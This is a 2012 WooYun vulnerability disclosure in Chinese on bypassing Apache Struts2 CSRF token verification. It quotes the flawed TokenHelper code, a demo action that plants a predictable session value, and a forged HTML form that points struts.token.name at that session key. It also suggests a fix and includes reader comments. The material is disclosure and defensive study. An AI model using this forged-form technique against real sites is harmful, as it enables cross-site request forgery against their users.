当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-06951

漏洞标题： Struts2 Token Verification Bypass

相关厂商：Apache基金会

漏洞作者： GaRY

提交时间：2012-05-11 16:19

修复时间：2012-06-25 16:20

公开时间：2012-06-25 16:20

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：6

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-05-11： 积极联系厂商并且等待厂商认领中，细节不对外公开
2012-06-25： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

利用Struts的token验证机制，可以通过一些奇淫巧计的手段绕过其验证，使得csrf可以被利用。
影响范围：Struts2 all version

详细说明：

此漏洞发现者：@Sogili
由于Struts提供的token验证是基于用户客户端提交的struts.token.name去session中查找对应的值的，如下代码：

public static boolean validToken() {
        String tokenName = getTokenName();
        if (tokenName == null) {
            if (LOG.isDebugEnabled()) {
                LOG.debug("no token name found -> Invalid token ");
            }
            return false;
        }
        String token = getToken(tokenName);
        if (token == null) {
            if (LOG.isDebugEnabled()) {
                LOG.debug("no token found for token name "+tokenName+" -> Invalid token ");
            }
            return false;
        }
        Map session = ActionContext.getContext().getSession();
        String sessionToken = (String) session.get(tokenName);
        if (!token.equals(sessionToken)) {
            if (LOG.isWarnEnabled()) {
                LOG.warn(LocalizedTextUtil.findText(TokenHelper.class, "struts.internal.invalid.token", ActionContext.getContext().getLocale(), "Form token {0} does not match the session token {1}.", new Object[]{
                        token, sessionToken
                }));
            }
            return false;
        }
        // remove the token so it won't be used again
        session.remove(tokenName);
        return true;
    }


而tokenName又是来自于用户所提交的参数：

/**
     * The name of the field which will hold the token name
     */
    public static final String TOKEN_NAME_FIELD = "struts.token.name";
    public static String getTokenName() {
        Map params = ActionContext.getContext().getParameters();
        if (!params.containsKey(TOKEN_NAME_FIELD)) {
            if (LOG.isWarnEnabled()) {
        	LOG.warn("Could not find token name in params.");
            }
            return null;
        }
        String[] tokenNames = (String[]) params.get(TOKEN_NAME_FIELD);
        String tokenName;
        if ((tokenNames == null) || (tokenNames.length < 1)) {
            if (LOG.isWarnEnabled()) {
        	LOG.warn("Got a null or empty token name.");
            }
            return null;
        }
        tokenName = tokenNames[0];
        return tokenName;
    }


因此，只要我们伪造表单，将struts.token.name这个hidden的input值设置为已知的session中某个特定key，即可绕过随机串的token值检查，合法合理的重复提交我们的表单。

漏洞证明：

我们模拟一个场景，一般情况下，一个站点总是会把一些用户信息存放在session中作为cache，以免每次都需要从数据库里取值。
这里我用以下代码做了个模拟，直接获取一个nick作为nickname，存放在session中。这些key和value都是可以预知的。

import java.util.Map; 
import com.opensymphony.xwork2.ActionContext;   
import com.opensymphony.xwork2.ActionSupport; 
public class SessionAction extends ActionSupport  { 
  private String nick; 
   
  public String execute()  { 
    //这里操作一下session，加入我们可控的值 
    ActionContext actionContext = ActionContext.getContext(); 
    Map session = actionContext.getSession(); 
    if(nick != null){ 
      session.put("nick", nick.trim()); 
    } 
    return "success"; 
  } 
  public String getNick() { 
    System.out.println("getNick"); 
    return nick; 
  } 
  public void setNick(String nick) { 
    System.out.println("setNIck"); 
    this.nick = nick; 
  } 
}


然后我们访问一下此action，让我们的session中存在一个可以预知的nick值（通常情况下就是用户注册的昵称）。 

http://localhost:8080/st/session.action?nick=thisIsFakeToken


然后，我们再伪造一个表单： 

<form id="login" name="login" action="http://localhost:8080/st/login.action" method="post"> 
<table class="wwFormTable"> 
    <input type="hidden" name="struts.token.name" value="nick" /> 
<input type="hidden" name="nick" value="thisIsFakeToken" /> 
    <tr> 
    <td class="tdLabel"><label for="login_username" class="label">用户名:</label></td> 
    <td 
><input type="text" name="username" value="" id="login_username"/></td> 
</tr> 
    <tr> 
    <td class="tdLabel"><label for="login_password" class="label">密  码:</label></td> 
    <td 
><input type="text" name="password" value="" id="login_password"/></td> 
</tr> 
    <tr> 
    <td colspan="2"><div align="right"><input type="submit" id="login_0" value="登录"/> 
</div></td> 
</tr> 
  </table></form>


注意这里的struts.token.name修改为nick，而加了个name=nick的hidden值，为我们开始预知的session中nick所对应的内容：thisIsFakeToken。然后我们再来提交一下看看结果：
<img src="http://zone.wooyun.orghttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/image/201205/2012051019354347566.png" />
提交表单，直接绕过了csrf token验证。
这里提供我本地做测试的测试项目下载：http://pan.baidu.com/netdisk/singlepublic?fid=174815_3909579610

修复方案：

建议将token.name使用struts.xml进行配置，然后在server端按照配置中的key获取value。

版权声明：转载请注明来源 GaRY@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)

漏洞评价：

评论

  1. 2012-05-11 16:41 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    膜拜大牛！

  2. 2012-05-11 20:30 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    这个，谁来游说认领啊....还是@GaRY 直接发邮件了？

  3. 2012-06-25 15:47 | Eric ( 路人 | Rank:1 漏洞数:1 | 网络技术爱好者。)

    这个可以有。。。

  4. 2012-06-25 16:50 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    struts又中招

  5. 2012-11-27 13:59 | Stream ( 路人 | Rank:6 漏洞数:2 | 低头要有勇气，抬头要有底气!)

    NB